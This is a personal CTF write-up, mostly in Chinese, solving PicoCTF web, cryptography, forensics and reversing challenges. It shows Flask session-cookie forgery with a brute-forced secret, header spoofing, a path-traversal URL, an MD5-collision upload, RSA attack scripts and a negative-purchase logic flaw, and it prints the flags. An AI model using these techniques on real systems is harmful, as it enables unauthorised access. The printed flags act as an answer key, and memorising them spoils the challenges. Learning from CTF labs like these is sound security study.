---
# System prepended metadata

title: PicoCTF

---

# PicoCTF

[TOC]

## Web

### Most Cookies
先看題目給的 Source code :
```python=
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()


```
Flask 產生 session cookie 的方式是拿要加密資料搭配密鑰做加密(廢話)，然後從源碼可以知道密鑰會從一個陣列中隨機選取，當主頁將 session 解密時 very auth 等於 admin 的話，它就會吐 Flag 出來。

因此，我們要把陣列中每個食物名稱都拿出來當成密鑰嘗試解密:
```
py flask_session_cookie_manager3.py decode -c'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFhuxw.bsh6ROLyRzd5_RpI3csWrRn0qQU' -s 'butter'
```
經過不斷的嘗試，發現密鑰是 `butter` ，所以我將 `butter` 作為密鑰對 `{"very_auth":"admin"}` 做 encoding :
```
py flask_session_cookie_manager3.py encode -s 'butter' -t '{"very_auth":"admin"}'
```
得到經過魔改的 session cookie 後，把它塞回網站上做重新整理後就順利拿到 Flag 啦:
```
picoCTF{pwn_4ll_th3_cook1E5_5f016958}
```

:::info 
BTW: 本次使用的加解密套件為 [Flask Session Cookie Decoder/Encoder](https://noraj.github.io/flask-session-cookie-manager/) 以及 Cookie editor 插件(非必要)。
:::

### It is my Birthday

從說明可以知道， Server 會檢查兩個檔案的 md5 hash 是否相等且兩個檔案的內容必須不同。
因此，我參考 [MD5 Collision Demo](https://www.mscs.dal.ca/~selinger/md5collision/) 一文，找到了兩個 hash value 相等的 `.exe` 檔案，基本上，修改副檔名不會影響 hash value ，所以我將其修改為 `.pdf` 並上傳後，順利得到 flag :
```php=
<?php

if (isset($_POST["submit"])) {
    $type1 = $_FILES["file1"]["type"];
    $type2 = $_FILES["file2"]["type"];
    $size1 = $_FILES["file1"]["size"];
    $size2 = $_FILES["file2"]["size"];
    $SIZE_LIMIT = 18 * 1024;

    if (($size1 < $SIZE_LIMIT) && ($size2 < $SIZE_LIMIT)) {
        if (($type1 == "application/pdf") && ($type2 == "application/pdf")) {
            $contents1 = file_get_contents($_FILES["file1"]["tmp_name"]);
            $contents2 = file_get_contents($_FILES["file2"]["tmp_name"]);

            if ($contents1 != $contents2) {
                if (md5_file($_FILES["file1"]["tmp_name"]) == md5_file($_FILES["file2"]["tmp_name"])) {
                    highlight_file("index.php");
                    die();
                } else {
                    echo "MD5 hashes do not match!";
                    die();
                }
            } else {
                echo "Files are not different!";
                die();
            }
        } else {
            echo "Not a PDF!";
            die();
        }
    } else {
        echo "File too large!";
        die();
    }
}

// FLAG: picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>It is my Birthday</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>


</head>

<body>

    <div class="container">
        <div class="header">
            <h3 class="text-muted">It is my Birthday</h3>
        </div>
        <div class="jumbotron">
            <p class="lead"></p>
            <div class="row">
                <div class="col-xs-12 col-sm-12 col-md-12">
                    <h3>See if you are invited to my party!</h3>
                </div>
            </div>
            <br/>
            <div class="upload-form">
                <form role="form" action="/index.php" method="post" enctype="multipart/form-data">
                <div class="row">
                    <div class="form-group">
                        <input type="file" name="file1" id="file1" class="form-control input-lg">
                        <input type="file" name="file2" id="file2" class="form-control input-lg">
                    </div>
                </div>
                <div class="row">
                    <div class="col-xs-12 col-sm-12 col-md-12">
                        <input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload">
                    </div>
                </div>
                </form>
            </div>
        </div>
    </div>
    <footer class="footer">
        <p>&copy; PicoCTF</p>
    </footer>

</div>

<script>
$(document).ready(function(){
    $(".close").click(function(){
        $("myAlert").alert("close");
    });
});
</script>
</body>

</html>
```

### GET aHEAD
> tips: Maybe you have more than 2 choices

看 Source code 發現用 GET/POST 會得到不同的結果，所以我透過 POSTMAN 用每個 http method 請求一次：
![](https://i.imgur.com/z5lopYB.png)

### Ancient History

從原始碼中看到一一長串的東西
每一行看起來都一樣，只有一個字母不同
![](https://i.imgur.com/Vf9EsDw.jpg)

### Who are you

網站毛很多：
- user-agent
- 不想被 track
- 請求要來自瑞典
- 要會說瑞典話
- 這個網站只能在 2018 年工作

用 Node.js 解，附上程式碼 :3
```js=
let axios = require('axios');

axios
    .get('http://mercury.picoctf.net:34588/', 
{ headers: { 'User-Agent': 'picobrowser',
        'Referer': 'http://mercury.picoctf.net:34588/',
        'Date': 'Tue, 15 Nov 2018 08:12:31 GMT',
        'DNT': '1',
        'Accept-Language': 'sv',
        'Content-Language': 'sv',
        'X-Forwarded-For': '93.182.156.49'
 }  } )
    .then(response => {
      console.log(response);
      // here will be cheerio scraping
    })
    .catch(function(e) {
      console.log(e);
    });

```

### Some Assembly Required 1
查看原始碼可以發現 js 會對以下網址做 `fetch()`
```
http://mercury.picoctf.net:40226/JIFxzHyW8W
```
接著，用 POSTMAN 對他發送請求可以獲得：
```
asm````p1A��A�A�A�
A�A��AA�memory__wasm_call_ctorsstrcmp
check_flaginput	copy_char__dso_handle
__data_end
__global_base__heap_base
__memory_base__table_base
��*#����!A !  k!  6  6 (!  6 (!  6@@ (!A!  j!	  	6 -!
  
: (!A!  j!
  
6 -!  :
 -!A�!  q!@ 
 -!A�!  q! -
!A�!  q!  k!  6 -!A�!  q! -
!A�!  q! ! !    F!!A!" ! "q!# #
 -!$A�!% $ %q!& -
!'A�!( ' (q!) & )k!*  *6 (!+ +LA!A����!A����!  ����! ! !  G!A!  s!A!	  	q!
 
?#����!A!  k!  6  6 (! (!  :����2A�+picoCTF{cb688c00b5a2ede7eaedcae883735759}
```

### Some Assembly Required 2

同上題取得 wasm
經過 wasm2c 可以得到：https://pastebin.com/gAJVqXvP

其中這感覺有嫌疑，但直接轉好像沒結果QQ

```c
static const u8 data_segment_data_0[] = {
  0x78, 0x61, 0x6b, 0x67, 0x4b, 0x5c, 0x4e, 0x73, 0x3e, 0x3c, 0x6d, 0x3a, 
  0x69, 0x31, 0x3e, 0x31, 0x39, 0x39, 0x31, 0x3a, 0x6e, 0x6b, 0x6a, 0x6c, 
  0x3c, 0x69, 0x69, 0x31, 0x6a, 0x30, 0x6e, 0x3d, 0x6d, 0x6d, 0x30, 0x39, 
  0x3b, 0x3c, 0x69, 0x3a, 0x75, 0x00, 0x00, 
};

static void init_memory(void) {
  wasm_rt_allocate_memory((&w2c_memory), 2, 65536);
  LOAD_DATA(w2c_memory, 1024u, data_segment_data_0, 43);
}
```

### Super Serial

Flag 在這:
```
http://mercury.picoctf.net:port/%2e%2e%2f/flag
```

:::info 
利用目錄穿越， [ref](https://owasp.org/www-community/attacks/Path_Traversal) 。
:::
### Startup Company

登入後，打開 inspect 工具更改輸入欄位的 `type` : 
```html=
<input type="number" id="moneys" name="moneys" class="form-control" placeholder="100" required="" autofocus="">
```
把 `"number"` 移除。
接著就可以嘗試輸入一些字串作 injection ，目前有讓他顯示 error ，但想不到下一步要怎麼做。
> BTW: 也可以輸入極大的數字達到 INF 。

### Scavenger Hunt
Found different part of flag from:
* html: picoCTF{t
* css: h4ts_4_l0
* robots.txt: t_0f_pl4c
* .htaccess: 3s_2_lO0k
* .DS_Store: _74cceb07}

## Cryptographic

### Mini RSA

```python=
import gmpy2
n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147130204332030239454609548193370732857240300019596815816006860639254992255194738107991811397196500685989396810773222940007523267032630601449381770324467476670441511297695830038371195786166055669921467988355155696963689199852044947912413082022187178952733134865103084455914904057821890898745653261258346107276390058792338949223415878232277034434046142510780902482500716765933896331360282637705554071922268580430157241598567522324772752885039646885713317810775113741411461898837845999905524246804112266440620557624165618470709586812253893125417659761396612984740891016230905299327084673080946823376058367658665796414168107502482827882764000030048859751949099453053128663379477059252309685864790106

for k in range(100000):
    [r, exact] = gmpy2.iroot(c+n*k, 3)
    if exact:
        print(k)
        print(bytes.fromhex(hex(r)[2:]))
```

flag: `picoCTF{e_sh0u1d_b3_lArg3r_7adb35b1}`

### Dachshund Attacks

Classic wiener-attack problem
Script: https://github.com/MxRy/rsa-attacks/blob/master/wiener-attack.py
flag: `picoCTF{proving_wiener_3878674}`

### Pixelated

給兩張圖，提示是 stack，但加減乘除都沒什麼用
後來試了 xor ，變成一張白圖

![](https://i.imgur.com/gYJaMDH.png)

使用 stegoveritas：自動產生一堆圖
其中一張就是 flag

![](https://i.imgur.com/gR5AZEW.png)

### Play Nice

Classic PlayFair, using [brute force](https://www.dcode.fr/playfair-cipher): 

```
Here is the alphabet: irlgektq8ayfp5zu037nov1m9xbc64shwjd2
Here is the encrypted message: h5a1sqeusdi38obzy0j5h3ift7s2r2
What is the plaintext message? xqyvhtg02jkplzo8eyhu25ktip2dkh
Congratulations! Here's the flag: 25a0ea7ff711f17bddefe26a6354b2f3
```

### No padding, no problem

想好久，後來發現其實蠻簡單的
一開始連上去就會給 n, e, ct 然後丟值給 oracle 它就會解密（除 flag 外）
於是可以利用 rsa 特性，將 ct 前面加上 n
所以當 oracle 解密時，n 會變成 0 （其實應該也可以加 0 就好，但它會被判斷不能解密）
解出來的在經過 long_to_bytes 就是我們要的答案

```
Give me ciphertext to decrypt: 7857452846204062810995466890450628477157426582805267374348001135108309954314883019366424050535956627458888165677897305329479677277133432754667999808121686069679202475374302702900461764802299640637386138447914237679905362208798787240232877050464349474550941313871870696503541994044440366538872104538443349998725055968820521843005231018760433887063836386105440803244031154029950087312626101083902991774853743821592409613095079997858444669165101531477532338509477234041017008645603369771618469622633578328189486195841903504528928882735689153835238073393290734870826892869996134622434109204320179145556251158401344937820
Here you go: 290275030195850039473456618367455885069965748851278076756743720446703314517401359267322769037469251445384426639837648598397

long_to_bytes(290275030195850039473456618367455885069965748851278076756743720446703314517401359267322769037469251445384426639837648598397)
b'picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_1772735}'

```

## Forensics

### Disk, disk, sleuth!

```bash=
wget https://mercury.picoctf.net/static/920731987787c93839776ce457d5ecd6/dds1-alpine.flag.img.gz

gzip -d dds1-alpine.flag.img.gz

binwalk -e dds1-alpine.flag.img

strings 6081400.elf | grep "pico"

```

### Disk, disk, sleuth! II

same way as Disk, disk, sleuth!

Find `down-at-the-bottom.txt`

![](https://i.imgur.com/3sRVMN4.png)

### MacroHard WeakEdge

題目有 Macro，所以先用 olevba 去解
發現什麼也沒有
所以直接 unzip
發現一個 hidden 的檔案
![](https://i.imgur.com/xwRgH1r.png)
猜測可能為 based64 
flag: `picoCTF{D1d_u_kn0w_ppts_r_z1p5}`

### tunn3l v1s10n

https://www.itread01.com/content/1549504280.html

bmp file, version 的 hex 值（0E-11位置）錯誤
![](https://i.imgur.com/Y0vS3qG.png)

### Milkslap

有一張超大張的圖，直接載下來，直接使用 zstag 搞定

![](https://i.imgur.com/fapFy0b.png)


## Reverse Engineering

### Shop

買不起就買負的

```
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
0
How many do you want to buy?
-12
You have 160 coins
	Item		Price	Count
(0) Quiet Quiches	10	24
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit

```

Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 53 51 50 98 99 100 57 56 125]

```
b'p\x00'
b'i\x00'
b'c\x00'
b'o\x00'
b'C\x00'
b'T\x00'
b'F\x00'
b'{\x00'
b'b\x00'
b'4\x00'
b'd\x00'
b'_\x00'
b'b\x00'
b'r\x00'
b'o\x00'
b'g\x00'
b'r\x00'
b'a\x00'
b'm\x00'
b'm\x00'
b'e\x00'
b'r\x00'
b'_\x00'
b'5\x00'
b'3\x00'
b'2\x00'
b'b\x00'
b'c\x00'
b'd\x00'
b'9\x00'
b'8\x00'
b'}\x00'
```